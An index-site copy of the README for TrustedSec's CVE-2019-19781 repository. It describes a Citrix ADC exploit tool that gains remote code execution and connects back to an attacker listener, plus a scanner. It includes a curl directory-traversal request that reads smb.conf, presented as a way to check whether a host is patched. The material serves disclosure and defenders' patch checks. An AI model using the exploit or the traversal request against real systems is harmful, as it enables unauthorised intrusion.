Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/trustedsec/cve-2019-19781

This is a tool published for the Citrix ADC (NetScaler) vulnerability. We are only disclosing this due to others publishing the exploit code first.
https://github.com/trustedsec/cve-2019-19781

Last synced: 5 days ago
JSON representation

This is a tool published for the Citrix ADC (NetScaler) vulnerability. We are only disclosing this due to others publishing the exploit code first.

Awesome Lists containing this project

README 

        
# CVE-2019-19781



This was only uploaded due to other researchers publishing their code first. We would have hoped to have had this hidden for awhile longer while defenders had appropriate time to patch their systems.



We are all for responsible disclosure, in this case - the cat was already out of the bag.



Exploits: CVE-2019-19781



## Citrixmash (CVE-2019-19781 exploit)



root@stronghold-nix:/home/relik/Desktop/git/cve-2019-19781# python citrixmash.py 



Citrixmash v0.1 - Exploits the Citrix Directory Traversal Bug: CVE-2019-19781

Tool Written by: Rob Simon and Dave Kennedy

Contributions: The TrustedSec Team 

Website: https://www.trustedsec.com

INFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/

Forensics and IOCS: https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/



This tool exploits a directory traversal bug within Citrix ADC (NetScalers) which calls a perl script that is used

to append files in an XML format to the victim machine. This in turn allows for remote code execution.



Be sure to cleanup these two file locations:

    /var/tmp/netscaler/portal/templates/

    /netscaler/portal/templates/



Note that DNS hostnames and IP addresses are supported in victimaddress and attackerip_listener fields.



Usage:



python citrixmash.py    



usage: citrixmash.py [-h] target targetport attackerip attackerport



## CVE-2019-19781 Scanner



This is a simple test to see if the server is still vulnerable to CVE-2019-19781.



Usage: python3 cve-2019-19781.py  



Note you can use CIDR notations such as 192.168.1.1/24 and hostnames as well.



It will result if the server is still vulnerable or not. You can only do one server at a time.



CVE-2019-19781-Scanner

Company: TrustedSec

Written by: Dave Kennedy

This will look to see if the remote system is still vulnerable to CVE-2019-19781. This 

will only scan one host at a time.

You can use CIDR notations as well for example: 192.168.1.1/24

You can use hostnames instead of IP addresses also.

You can also use a file with IP addresses generated by an external tool.



Example: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443

Example2: python3 cve-2019-19781_scanner.py 192.168.1.1 443

Example3: python3 cve-2019-19781_scanner.py fakewebsiteaddress.com 443

Example4: python3 cve-2019-19781_scanner.py as15169 443

Example5: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 verbose

Example6: python3 cve-2019-19781_scanner.py file:hostfile 443



Usage: python3 cve-2019-19781_scanner.py targetip targetport



usage: cve-2019-19781_scanner.py [-h] target targetport [verbose]



## Manually Validate Patch



If you want to test to see if this exposure is mitigated use the following:



`curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is`



Or if you are using non public or internal enterprise CA, you can override using the --insecure option



`curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is --insecure`



Either a 403 means that you are patched or if it returns a Citrix website and NOT the smb.conf file itself.



If you can see smb.conf, then you are vulnerable.



## Installation



To install the requirements, you will need to run the command below. 



pip3 install -r requirements.txt